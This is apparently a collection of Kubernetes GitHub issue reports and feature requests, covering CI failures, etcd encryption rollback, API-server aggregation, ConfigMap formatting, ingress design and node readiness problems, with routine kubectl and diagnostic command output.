/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-18.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/645\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/646\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/663

\r $ k run --rm --restart=never sh -ti --image=busybox\r if you don't see a command prompt, try pressing enter.\r /   \r /   \r /   ps\r pid   user     time   command\r     1 root       0:00 sh\r     7 root       0:00 ps\r /   kill -9 1\r /   echo $$\r 1\r    \r \r i would expect the  kill -9  to nuke everything  something funky is going on with signals.  cluster is head as of last week or thereabouts.

 \r   what happened  :\r i encrypted the etcd data using this documentation https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/\r \r   what you expected to happen  :\r before encrypting i verified the data in etcd was not encrypted. after encrypting all data i verified again in etcd and data was encrypted. verified by following the steps on the documentation. \r \r i followed the de-encryption section to revert back the encrypted data, but the data does not get reverted back, i followed the steps mentioned in the documentation by adding identity as the first provider but data does not get de-encrypted.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r encrypted all my etcd data but reverting back does not work.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+8e15523423554\ , gitcommit:\ 7186af2f6cd0df870c6cab4ab7b987a131b19eb8\ , gittreestate:\ dirty\ , builddate:\ 2017-10-04t00:41:20z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+8e15523423554\ , gitcommit:\ 7186af2f6cd0df870c6cab4ab7b987a131b19eb8\ , gittreestate:\ dirty\ , builddate:\ 2017-10-04t00:41:20z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r hardware on premises \r \r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.1  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.1\ \r pretty_name=\ red hat enterprise linux server 7.1  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.1:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.1\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.1\ \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we recently noticed that we have a lot of connection failed issues, in large number of our pods:\r \r connectionerror: httpconnectionpool host='service_name', port=80 : max retries exceeded with url: /url  caused by newconnectionerror '<urllib3.connection.httpconnection object at 0x7f91218e82b0>: failed to establish a new connection:  errno -3  try again',  \r \r and after further investigation we noticed a kube-dns issue that correlate reasonably with that.\r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r   \r \r   what happened  :\r \r per discussion in https://github.com/kubernetes/kubernetes/pull/59335/files r168351460\r \r   what you expected to happen  :\r \r use  predicates.xxx  consts to instead of strings\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i modified the sample api-server  https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/sample-apiserver  to run multiple aggregated api-servers, all behind the same service.  see https://github.com/mikespreitzer/kubernetes/tree/sample-apiserver-hax-60065-metrics-dual/staging/src/k8s.io/sample-apiserver/artifacts/example for the modified version.  i scaled the wardle-server rc to three replicas.  i ran a bunch of controllers that watch flunder objects  see https://github.com/mikespreitzer/k8api-scaletest/tree/master/flunder-logger .\r \r i found that the main api-server opened two  not three  connections, and they were to the wardle api service address rather than wardle server pod addresses.  here are the wardle service addresses:\r    \r root@k8s2ctrl:~  kubectl get service -n wardle\r name      type        cluster-ip      external-ip   port s     age\r api       clusterip   10.233.35.2     <none>        443/tcp    13d\r etcd      clusterip   10.233.36.190   <none>        2379/tcp   1d\r    \r \r here is the main api-server:\r    \r root@k8s2ctrl:~  ps l -p 21705\r f   uid    pid   ppid pri  ni    vsz   rss wchan  stat tty        time command\r 4     0  21705  21686  20   0 1449380 617508 futex_ ssl ?       187:09 /hyperkube apiserver --max-mutating-requests-inflight=500 --\r    \r ... and here are its tcp connections with the cluster:\r    \r root@k8s2ctrl:~  lsof -np -p 21705 | fgrep 10.233.\r hyperkube 21705 root   71u     ipv4 13067402       0t0      tcp 10.10.21.1:58358->10.233.35.2:443  established \r hyperkube 21705 root   74u     ipv4 13066510       0t0      tcp 10.10.21.1:58368->10.233.35.2:443  established \r hyperkube 21705 root  314u     ipv6 13064670       0t0      tcp 10.10.21.1:6443->10.233.65.68:35302  established \r    \r \r looking carefully on the server side, we can see that these two connections actually attach to two different wardle server pods.  here is the list of those processes on their host:\r    \r root@k8s2comp69:~  ps axl | grep server | grep -v grep\r 4     0  54375  54357  20   0  45680 30892 futex_ ssl  ?          1:42 /kube-sample-apiserver --etcd-servers=http://etcd.wardle.svc.cluster.local:2379 --default-watch-cache-size=1000 -v=5\r 4     0 237571 237554  20   0  47792 31924 futex_ ssl  ?          2:31 /kube-sample-apiserver --etcd-servers=http://etcd.wardle.svc.cluster.local:2379 --default-watch-cache-size=1000 -v=5\r 4     0 237598 237578  20   0  49104 29752 futex_ ssl  ?          2:34 /kube-sample-apiserver --etcd-servers=http://etcd.wardle.svc.cluster.local:2379 --default-watch-cache-size=1000 -v=5\r    \r \r look at the connections of the first:\r    \r root@k8s2comp69:~  nsenter -t 54375 -n netstat -nt | grep -w 443\r tcp        0      0 10.233.98.167:36984     10.233.0.1:443          established\r tcp6       0      0 10.233.98.167:443       10.233.65.64:58368      established\r root@k8s2comp69:~  \r    \r now the second:\r    \r root@k8s2comp69:~  nsenter -t 237571 -n netstat -nt | grep -w 443\r tcp        0      0 10.233.98.165:57352     10.233.0.1:443          established\r tcp6       0      0 10.233.98.165:443       10.233.65.64:58358      established\r root@k8s2comp69:~  \r    \r and finally the third:\r    \r root@k8s2comp69:~  nsenter -t 237598 -n netstat -nt | grep -w 443\r root@k8s2comp69:~  \r    \r \r also, _all_ the watches are being served by just one of the three aggregated api-servers.  here it is:\r    \r root@k8s2ctrl:~  kubectl logs -n wardle wardle-server-d7rbz | grep 'starting watch' | tail -2\r i0316 19:10:35.530538       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/flunders, rv=182 labels= fields= timeout=5m26s\r i0316 19:10:38.168988       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/flunders, rv=182 labels= fields= timeout=9m10s\r    \r earlier, when i ran the main api-server from release 1.9, all the watches went to a different server:\r    \r root@k8s2ctrl:~  kubectl logs -n wardle wardle-server-7rtlv | grep 'starting watch' | tail -2\r i0315 22:27:00.569918       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/flunders, rv=2 labels= fields= timeout=6m17s\r i0315 22:27:03.117814       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/flunders, rv=2 labels= fields= timeout=6m44s\r    \r and earlier still, when i ran the main api-server from release 1.8, all the watches went to the other server:\r    \r root@k8s2ctrl:~  kubectl logs -n wardle wardle-server-wslkd | grep 'starting watch' | tail -2\r i0315 06:01:38.157283       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/flunders, rv=2 labels= fields= timeout=5m53s\r i0315 06:02:10.111224       1 rest.go:362  starting watch for /apis/wardle.k8s.io/v1alpha1/fischers, rv=1 labels= fields= timeout=7m3s\r    \r \r   what you expected to happen  :\r i expected that the watches would somehow be load-balanced across the three sample-apiservers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i think i showed a pretty direct demonstration.\r \r   anything else we need to know?  :\r i tried this with three different releases of the main api-server.  first, i tried it with release 1.8.7.  in that case, it was even worse --- there was only a single connection open from the main api-server to the wardle api service address.  then i tried release 1.9.4.  that got me multiple connections, but no load balancing of the watches.  finally i build what i found on the release-1.10 branch yesterday.  that is what i used to produce the evidence shown above.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@k8s2ctrl:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.4.13+f61f3ac6a699b2\ , gitcommit:\ f61f3ac6a699b22fb2e403c3479d28c66d5539f8\ , gittreestate:\ clean\ , builddate:\ 2018-03-15t15:27:53z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: local vms\r - os  e.g. from /etc/os-release : ubuntu 16.04.1\r - kernel  e.g.  uname -a  : linux k8s2ctrl 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray\r - others:\r

look, here is the thing, this is only useful if you are _only_ exposing the kube api to the end user. and even then if you do not prevent mounting the host into containers via a podsecuritypolicy then you could just exec in by combining the file descriptors....\r \r like this window dressing of a feature is kinda un-useful and people are enabling it under circumstances where it is just plain stupid.... there is literally no point to this feature if you do not also have a pod security policy in place preventing people from mounting shit in to literally exec. or if users have access to the nodes in the first place it makes literally no sense.\r

-  x  gcr.io/kubernetes-e2e-test-images/volume-gluster:0.5: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/66987\r -  x  gcr.io/kubernetes-e2e-test-images/volume-iscsi:0.2: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/66987\r -  x  gcr.io/kubernetes-e2e-test-images/volume-nfs:0.8: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/66987\r -  x  gcr.io/kubernetes-e2e-test-images/volume-rbd:0.2: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/66987\r -  x  k8s.gcr.io/busybox:1.24: manifest type: application/vnd.docker.distribution.manifest.v1+json\r         we should probably just use the docker busybox image we are using everywhere else \r         fixing in https://github.com/kubernetes/kubernetes/pull/67016\r -  x  k8s.gcr.io/apparmor-loader:0.1: manifest type: application/vnd.docker.distribution.manifest.v1+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/67030\r -  x  k8s.gcr.io/check-metadata-concealment:v0.0.3: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/67034\r -  x  k8s.gcr.io/echoserver:1.10: manifest type: application/vnd.docker.distribution.manifest.v2+json\r         fixing in https://github.com/kubernetes/kubernetes/pull/67035

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r because of the urgent of fixing  68115 within code freeze for release 1.12, \ rewrite finalurltemplate used only for metrics because of dynamic client change  68530\  fixed it in a hacky way by parsing request string. this approach is ok for now considering the time sensitivity and it only affects metrics for now, but it 's too fragile since it depends on a couple of assumptions and a lot of possible future change could break it. discussion of how to better fix the issue is still on going . so open up this issue to follow up on that. \r \r please refer to  68530 for more detials.\r \r   what you expected to happen  :\r fixing  68115 in a more robust way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r refer to  68115\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign @wenjiaswe

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r when submitting a job with  completions  filed specified, \r 1  i want kubernetes to provide a job sequence number through environment variable\r ex  \r  printenv \r > job_seq=0\r home=/root\r other_envs...\r \r or \r \r 2  generate pod name with sequence number similar to statefulset.\r ex  myjob-0, myjob-1, ...\r then i can find out which sequenced job i am running inside the container.\r \r   why is this needed  :\r if those information are provided, container developers can use that information as an  index  to decide which information do they have to process from a given list.\r \r for example, let's say there is a json array in somewhere in the internet. the individual job fetches the single json object from the array decided by the sequence key provided by kubernetes.\r each job can act differently by the obtained json object.\r \r \r <!-- do not edit below this line -->\r   @kubernetes/sig-apps-feature-requests

@mtaufen \r kubectl version:v1.12.2\r kube-api version:v1.12.2\r kubelet version:v1.12.2\r i follow the guide  https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/  url  to configure dynamic kubelet configuration. it seems that if i want to incrementally roll out update all nodes maybe follow these orders as below:\r 1. create a new configmap and save it to the kubernetes control plane\r 2.  kubectl edit no ${node}  to make node point to the new configmap one by one\r 3. waiting for kubelet auto restart \r \r my question is:\r 1. if i have a huge cluster likely 1000 nodes , i should use the above method to update those nodes one by one by myself?\r 2. it seems that there're some options didn't exist in  kubeletconfiguration type  https://github.com/kubernetes/kubernetes/blob/release-1.11/pkg/kubelet/apis/kubeletconfig/v1beta1/types.go , such as  --network-plugin=cni    --allowed-unsafe-sysctls=net. ,kernel.shm ,kernel.msg ,kernel.sem,fs.mqueue.   and so on. so i need configure those options in command line by myself?\r \r \r 

what happened  :\r the metrics-server is unable to get metrics for pods with init containers.\r see also: https://github.com/kubernetes-incubator/metrics-server/issues/213 issuecomment-465675386\r \r   what you expected to happen  :\r metrics for pods with init containers show up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with an init container. metrics are not gathered for that pod. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.13.2\r - runtime:\r  containerd 1.2.2

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r - i create a new configmap, where there are no trailing whitespaces on lines, using  |  to make a multil-ine string in yaml.\r ex:\r    \r value: |\r   configmap value that should be pretty printed\r   with a couple of extra lines\r   of text in it.\r    \r - i edit my configmap with  kubectl edit  or output it as yaml with  kubectl get -oyaml  and the value is human readable or pretty.\r - if i later edit that configmap to have a trailing whitespace on one of the lines,  kubectl edit  or  kubectl get -oyaml  outputs the value as a long string with newline characters  \   instead of a pretty, human readable version.\r ex:\r    \r value: \ configmap value that should be pretty printed\ with a couple of extra lines\ of text in it.\ \r    \r \r   what you expected to happen  :\r i always see pretty printed values.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add a trailing whitespace to configmap values using multi-line text.\r \r   anything else we need to know?  :\r this is a more specific version of https://github.com/kubernetes/kubernetes/issues/36222 which is closed. @lleontop and @jimmythedog discovered repro path.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.11\r - cloud provider or hardware configuration: gke\r - os  e.g:  cat /etc/os-release  : macos \r - kernel  e.g.  uname -a  : darwin 17.7.0\r \r

running hack/update-generated-docs.sh on my macbook pro at os x version 10.11.2 spits out the following error:      shell $ ./hack/update-generated-docs.sh +++  0301 15:35:38  building go targets for darwin/amd64:     cmd/gendocs     cmd/genkubedocs     cmd/genman     cmd/genbashcomp     cmd/mungedocs +++  0301 15:35:40  placing binaries /users/arob/kubernetes/hack/lib/util.sh: line 234: mdfiles @ : unbound variable      running hack/verify-generated-docs.sh hits the same error indirectly:      shell $ ./hack/verify-generated-docs.sh +++  0301 15:36:17  building go targets for darwin/amd64:     cmd/gendocs     cmd/genkubedocs     cmd/genman     cmd/genbashcomp     cmd/mungedocs +++  0301 15:36:19  placing binaries /users/arob/kubernetes/hack/lib/util.sh: line 234: mdfiles @ : unbound variable !!! error in /users/arob/kubernetes/hack/after-build/verify-generated-docs.sh:68   'needsanalytics= $ kube::util::gen-analytics \ ${kube_root}\  1  ' exited with status 1 call stack:   1: /users/arob/kubernetes/hack/after-build/verify-generated-docs.sh:68 main ...  exiting with status 1 !!! error in ./hack/verify-generated-docs.sh:28   '\ ${kube_root}/hack/after-build/verify-generated-docs.sh\  \ $@\ ' exited with status 1 call stack:   1: ./hack/verify-generated-docs.sh:28 main ...  exiting with status 1      it may be due to differing version of  find  than are on linux. for what it's worth, my docker version:      shell $ docker version client:  version:      1.9.1  api version:  1.21  go version:   go1.4.3  git commit:   a34a1d5  built:        fri nov 20 17:56:04 utc 2015  os/arch:      darwin/amd64  server:  version:      1.10.2  api version:  1.22  go version:   go1.5.3  git commit:   c3959b1  built:        2016-02-22t22:37:33.778002647+00:00  os/arch:      linux/amd64

developers really really seem to want to write their api types before they write their tests, controllers, docs, etc.  so, we should continue to let them do that.  and developers need a way to turn on api in e2e tests so they can iterate on their design.  at the same time, a kubernetes release should not by default enable any api that is not \ complete\ , by the appropriate measure  e.g. having completed the checklist in the features repo, which includes all the docs, tests, and so-on.  therefore, we should make enabling an api in the release be a last step which is gated by someone who understands the holistic requirements for a feature.   we should also test that the set of apis we want to expose in each release is exactly what we intend.  so, i suggest there be a file that enumerates the set of endpoints that we expect on the apiserver, and we put that file in a directory with a suitable owner, and that we have an e2e test that ensures that a cluster which is turned up using a release style of turnup has all and only those endpoints.

define a deployment like below part of config yaml :      containers:       - name: mofang-web         image: hello/docker/mofang-web:stable         ports:         - containerport: 8000         resources:           limits:             cpu: 0.5             memory: 4294967296         livenessprobe:           httpget:             path: /             port: 8000           initialdelayseconds: 15           timeoutseconds: 1      i can modify the livenessprobe's config by patch the  api:/apis/extensions/v1beta1/namespaces/{namespace}/deployments/{name}, but how can i remove it?

currently kubectl delete does not handle graceful deletion for resources it does not recognize  just ignores  --grace-period  .  \r \r also, waiting for the object to be deleted  for the reaper, and for the legacy  --grace-period=0  support  needs to handle uid changes correctly.  that involves changes to the reaper to fetch the object prior to deletion and also knowing that it should wait  so a signature change to reapresult .

this has come up many times.\r \r some options we have discussed:\r   federation should define its own api rather than using kubernetes's api\r   try to generalize the federation fields so that they make sense to be added to kubernetes api\r   add an extension object that can be binded to a kubernetes object. the extension object will contain federation specific fields.\r \r cc @kubernetes/sig-federation-feature-requests \r \r

currently, the azure support in cluster autoscaler  https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler  is in a kind-of undefined state. there are some reports that it works, however the code doesn't compile with the most recent version of azure client library and doesn't have a proper documentation. community help is needed to:\r \r   review the code and check whether it uses the correct azure abstractions.\r   test on a real azure cluster.\r   fix spotted issues.\r   make it compile with the newest azure libs.\r   write good documentation.\r \r working on tracker: https://github.com/kubernetes/autoscaler/issues/449\r \r cc: @jdumars @brendandburns \r \r

despite the name  etcd3 , this is not a special environment.  etcd3 has been the default for awhile.\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-etcd3\r \r example failure:  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/12735\r \r this seems to be an infrastructure problem related to bringing the cluster up.\r \r assigning to test-infra oncall for assistance.

is this a bug report or feature request?  :\r  / \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/28\r \r    \r  sig-storage  dynamic provisioning dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow  6m25s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-storage\\ \\sdynamic\\sprovisioning\\sdynamicprovisioner\\sexternal\\sshould\\slet\\san\\sexternal\\sdynamic\\sprovisioner\\screate\\sand\\sdelete\\spersistent\\svolumes\\s\\ slow\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:596\r expected error:\r     < errors.errorstring | 0xc43e0fd420>: {\r         s: \ persistentvolumeclaim pvc-9brzx not in phase bound within 5m0s\ ,\r     }\r     persistentvolumeclaim pvc-9brzx not in phase bound within 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:89\r    \r @kubernetes/sig-storage-bugs please investigate asap, this is a release-blocking test group.

is this a bug report or feature request?  :\r  \r pkg/kubelet uses the  nodeinfo  and  resource  types defined in the scheduler cache implementation. from my read of the code, this is only used for tracking allocatable resources, but nodeinfo has a bunch of other state and functionality that is not needed.\r \r if possible, i would like to remove this dependency.\r \r if we decide that kubelet and scheduler need to share code, then i would like to extract the minimum amount of functionality into a better location.\r \r  

what happened  :\r in kubernetes 1.12 and 1.13, aws storageclass parameters are parsed as case-sensitive   fstype   and  our example  https://kubernetes.io/docs/concepts/storage/storage-classes/ aws-ebs  with  fstype  does not work:\r \r https://github.com/kubernetes/kubernetes/blob/b08e9b0b4de65d5173c94f6ec3831081a9bdcbca/pkg/volume/aws_ebs/aws_util.go l120-l122\r \r in 1.11 and older it was working ok  case-insensitive . in 1.14 it was fixed as side-product of storage e2e test refactoring, https://github.com/kubernetes/kubernetes/pull/70823\r \r https://github.com/kubernetes/kubernetes/blob/997d5182d0508d29612223fad9e2d10d3de73877/pkg/volume/awsebs/aws_util.go l125-l129\r

for some time now we have maintained a bare-metal rhel-atomic cluster on our end which served two primary purposes.  1. evaluate performance & ha, and feedback issues upstream. 2. verify stack sanity by running e2e gauntlet on our stack.     2 has proven to be untenable, as we seem to eat a large number of changes that break for various reasons, and we're left hunting to feedback what has broken the system.   going forwards, we would like to add the automated startup and provisioning of our stack to run the e2e-tests and to red-flag commits before it reaches us downstream.   the goal of this issue is to rationalize how we intend to solve this and integrate with upstream.    /cc @eparis @jayunit100 @rrati @pmorie  /cc @quinton-hoole @roberthbailey @ixdy

related issue:   15421 related pr:  15533  the original discussion is caused by we want to improve gitrepo to support more options like \ git clone src target\ .  tim @thockin  believes sidecar mode is more suitable for this case, see https://github.com/kubernetes/kubernetes/pull/15533 issuecomment-150880681. actually, i agree with him, if we can work out something easier to use.  for now, git-sync sidecar is in contrib repo, as a demo to show how sidecar mode works. my opinion is that is not capable enough to replace gitrepo. so here's some problems we hope to address: 1. should we introduce a new volume type to replace gitrepo by using git-sync sidecar? 2. if not, how the git-sync sidecar should be maintained instead of left in contrib repo without any update for months? 3. can we bring up something more generic? 4. which part is user expected to do? which part is our responsibility?

several of the kubernetes components accept a  --cloud-provider  option, but i cannot find any documentation on what features are actually turned on by setting this option appropriately. i'd like to know everything it enables across the whole suite of components, and which component is responsible for which feature.

it would be useful to have daily or per-pr reports about the health of each distro and publish it to a dashboard somewhere

the initial ingress proposal hinted at this  https://github.com/kubernetes/kubernetes/pull/12827/files diff-41f2bde570ebc813183b7cd0a96a7e04r106  and i'm starting to see a need for it as ingress evolves.   we need a way to claim a dns name and bucket it to a qos tier so you can say \ i want a bronze ingress to loadbalance foo.com\  and not have to worry about:  - any one else stealing foo.com  - what provides the ip behind foo.com - provisioning the dns record with that ip and keeping it in sync in case the ip changes  here's what i'm proposing at a high level: - api   - ingress claim object that contains: a list of hostnames, a qos tier   - a pointer from ingress to a single claim - provisioning   - the claim is created by the user   - the claim is provisioned by a controller, just like the ingress pointing to the claim.    - the claim-provisioner might insert cluster local records  \ internal\  ingress , public records, or both.  - validation   - the apiservers validates that claims don't clash.    - if an ingress has routing rules for a host that isn't in the claim it points to, those rules should no-op, this is enforced at the ingress controller layer not at apiserver validation time.  - claims can exist without ingresses and viceversa.    - an ingress created without a claim does not exclusively own the hostnames in its rules map, meaning if i create an ingress with foo.com rule, and someone else creates a claim with foo.com rule, my ingress stops working unless i point it at the claim  somewhat consistent with burstable vs guaranteed qos -- apps following strict spec get guarantees .   - a claim created without an ingress is just a static-ip bound to dns.  - multiple ingresses can point at a single claim but an ingress can only reference one claim    - merge path rules in the ingress controller, which implements some policy like longest prefix. if the same path points to 2 different services, we sort the competing ingresses by creation timestamp and take the first one  consistent with overlapping selectors .  - tls is completely left to the ingress. this means a claim with a list of dns names can be handled via http, a wildcard/san, sni.   @kubernetes/sig-network @smarterclayton

given  30908 and  30909, it feels like maybe we would do well to make \ headless\  an actual value for cluster.spec.type.  specifically, we don't intend to support node-ports or load-balancers for headless services, but it is possible to specify that intersection.  it would be cleaner, i think, to say:  headless-params: - selector  optional  - ports   .port, protocol,  and name  clusterip-params: - all of headless-params - clusterip  optional else assigned  - ports   .targetport - sessionaffinity  nodeport-params: - all of clusterip-params - ports   .nodeport  loadbalancer-params: - all of nodeport-params - loadbalancerip - loadbalancersourceranges  with  30599 we add:  externalname-params: - externalname  i argued against this before, but i am not sure why.  looking at history, i don't find my own arguments that compelling, but maybe i am missing some.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r node, timeout, restart\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:13:23z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : https://cloud.google.com/container-engine/\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r requests started to timeout every so often, we found this from runscope monitoring. when i reproduced the timeout it was only intermittent. all the k8 deployments and pods were online. \r \r i looked in  kubectl get events  and saw:\r \r    \r 44m        44m         1         gke-backend-default-pool-a671890f-17dj   node                                        normal    nodenotready              {controllermanager }                                  node gke-backend-default-pool-a671890f-17dj status is now: nodenotready\r    \r \r when i ran  kubectl get nodes  it was in  ready  status:\r \r    \r $ kubectl get nodes\r name                                     status    age\r gke-backend-default-pool-a671890f-17dj   ready     7d\r gke-backend-default-pool-a671890f-berw   ready     7d\r gke-backend-default-pool-a671890f-h0li   ready     7d\r gke-backend-default-pool-a671890f-oqjm   ready     7d\r gke-backend-default-pool-a671890f-pu28   ready     7d\r gke-backend-default-pool-a671890f-r14r   ready     7d\r gke-backend-default-pool-a671890f-sga0   ready     7d\r gke-backend-default-pool-a671890f-uxby   ready     7d\r    \r \r i then manually deleted the node:\r \r    \r kubectl delete node gke-backend-default-pool-a671890f-17dj \r    \r \r and the timeouts went away. we had the same problem last week but at that time i just removed all the nodes because i didn't have time to dig into the issue.\r \r   what you expected to happen  :\r \r when the node goes into  nodenotready  it should remove itself from the pool and have another one take it's place. also  kubectl get events  says the node went into  nodenotready  but  kubectl get nodes  showed it as  ready , maybe it went 